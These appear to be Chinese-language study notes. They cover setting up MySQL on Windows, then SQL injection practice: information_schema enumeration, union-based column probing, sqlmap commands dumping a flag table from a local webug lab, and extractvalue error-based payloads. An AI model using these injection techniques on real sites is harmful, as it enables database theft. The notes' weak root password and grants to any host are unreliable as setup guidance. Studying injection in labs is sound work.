安装
安装配置MySQL
下载
进入MySQL官网,依次点击:上方选项卡DOWNLOADS->页面底端MySQL Community Edition->MySQL Community Server,此时会来到以下这个页面:
配置my.ini
下载解压好以后,得到了文件夹mysql-8.0.12-winx64,进入该文件夹,此处为MySQL的根目录。 在此目录下创建文件my.ini,并在文件中输入以下代码。
[mysqld]
basedir ="D:\mysql\mysql-8.0.12-winx64"
datadir ="D:\mysql\mysql-8.0.12-winx64\data"
port=3333
server_id =10
character-set-server=gbk
character_set_filesystem=gbk
[client]
port=3333
default-character-set=gbk
[mysqld_safe]
timezone="CST"
[mysql]
default-character-set=utf8
输入完以后,保存时,请点击另存为,查看编码格式是否为ANSI,如果不是,请修改为ANSI,以免在后面的配置安装中出现错误。 basedir和datadir后跟随的路径,需要自行更改,即根据你安装的路径来修改。
配置环境变量(可选,但建议配置)
为了方便在其他路径下也能迅速打开MySQL,建议配置环境变量。 右击计算机->属性->高级系统设置->在高级选项卡下点击环境变量->找到PATH, 在末尾追加,注意是追加,不是覆盖,添加路径:D:\mysql\mysql-8.0.12-winx64\bin; 上述路径即你解压的路径,后面加上bin就可以了。 添加完毕后,确定,退出。
开始使用MySQL
进入C盘,依次进入Windows->System32,找到cmd.exe,以管理员身份运行,一定要注意,不能直接进入,一定是管理员身份,否则后面步骤会报错。
首先将MySQL加入到Windows的服务中,输入命令:
mysqld --install;
会提示安装成功,Service successfully installed.,然后进入下一步。
此时,开始初始化数据库,输入:mysqld --initialize --user=root --console(看清楚是mysqld,不是mysql,多了个d),需要稍微等一段时间,此时正在创建data文件夹,同时能够在窗口看到一大串信息,找到关键词:root@localhost,会发现关键词后会有一段复杂无规律的字符串,请务必记录下来!那是你稍后登录数据的初始密码!
上述步骤完成以后,就可以启动MySQL了。
输入:net start mysql,稍后你也可以用net stop mysql关闭MySQL服务。
然后就可以进入MySQL了,输入:mysql -u root -p,此时会要求你输入密码
而第一次登录的密码,就是刚才提到了原始密码,即毫无规律的字符串。
修改密码
mysql> set password for 用户名@localhost = password('新密码'); set password for root@localhost = password('123');
新建
mysql -u root -p
grant all privileges on 数据库名.表名 to '新用户名'@'指定ip' identified by '新用户密码' ;
grant all privileges on *.* to '新用户名'@'%' identified by '新用户密码' ;
*.*
表示对所有库所有表拥有权限 ,'%'
表示对所有IP访问都有权限
web字符
space
%20
'
%27
#
%23
sql注入
基础查询
seelect XXX0 from XXX1 where id=XXX2
从 xxx1表 中查找 id=xxx2的行 ,列举出 第XXX0列
information_schema
所有字符应该用单引号括起来
mysql5.0以上的自带数据库
重要的表包括
schemata 所有的数据库名
tables 所有的表名
columns 所有的列名
1. 找出webug数据库下的所有表
select table_name from information_schema.tables where table_schema='webug'
table_name 是其列名,其下是所有表的名字,table_schema 是其列名,其下是所有数据库名

2. 找出flag表下的所有列
select column_name from information_schema.columns where table_name='flag'

报错
The used SELECT statements have a different number of columns
union后面的select没有from,则必须列数和前一个select的相同
爆字段指匹配出列数
找到回显位置
SELECT 1,2,3...的含义及其在SQL注入中的用法
select语句在指明要查询的内容属性(如select id)后,要加from指明是从哪个数据库表中获得数据,在数据库环境中我们一般会先写一句use xxxdatabase
,之后写select from语句直接加当前数据库中的表名就可以了。如果我们没有声明使用哪个数据库,也可以直接写 select xxxx from security.users
(假设要从security数据库的users表中获取数据)
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据
在SQL注入时,我们可以利用它来进行一个快速测试,在Union注入时,如果我们通过测试已经知道了前面语句的字段数,就可以写入union 注入语句,但存在一个问题,我们虽然可以通过注入获得想要的信息,但这些信息必须能够返回到我们手中,对于网页来说,如何能够让数据回显是至关重要的。例如一个网站的参数传递执行的查询有3个字段,很可能这些字段不是都显示在网页前端的,假如其中的1或2个字段的查询结果是会返回到前端的,那么我们就需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与前端显示的通道。
找出数据库名
1,2,3,4,5可能不是每个位置都会有回显,测试出哪里有回显后使用database()函数测试出数据库名
找到数据表名
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
select * from information_schema.tables where table_schema="zymDB";
information_schema.tables 指information_schema中的tables表,此表存放了所有表名, 包括其它库中的表 ;
从中找到行为 table_schema=zymDB 的所有数据
此数据中table_name为zymDB库的所有表名
select table_name from tables where table_schema="zymDB";
information_schema中的tables表存放所有的表名; information_schema中的columns表存放所有的列名和表名;
列举 table_schema,table_name,column_name 三列,从中找到 table_schema为zymDB的行, 从第1行(0开始)显示,连续6行;
group_concat 集合显示
sqlmap
sqlmap -u "http://192.168.52.1/webug/control/sqlinject/bool_injection.php?id=1" --dbs --batch
# 获取所有数据库
sqlmap -u "http://192.168.52.1/webug/control/sqlinject/bool_injection.php?id=1" --tables -D webug --batch
# 获取“webug”数据库中的所有表
sqlmap -u "http://192.168.52.1/webug/control/sqlinject/bool_injection.php?id=1" --columns -T flag -D webug --batch
# 获取“webug”数据库中“flag”表的所有列
sqlmap -u "http://192.168.52.1/webug/control/sqlinject/bool_injection.php?id=1" --dump -C flag -T flag -D webug --batch
# 获取“webug”数据库中“flag”表中字段的值
sqlmap -u "http://192.168.52.1/webug/control/sqlinject/bool_injection.php?id=1" --dump -C id,flag -T flag -D webug --batch
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" --dbms=mysql --dbs
#-r指定路径
显错注入
正常查询不显示,利用UPDATEXML、Extractvalue显示错误 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值
or extractvalue(1, concat(0x7e, version())) or ''
or update(1, concat(0x7e, version()), 1) or ''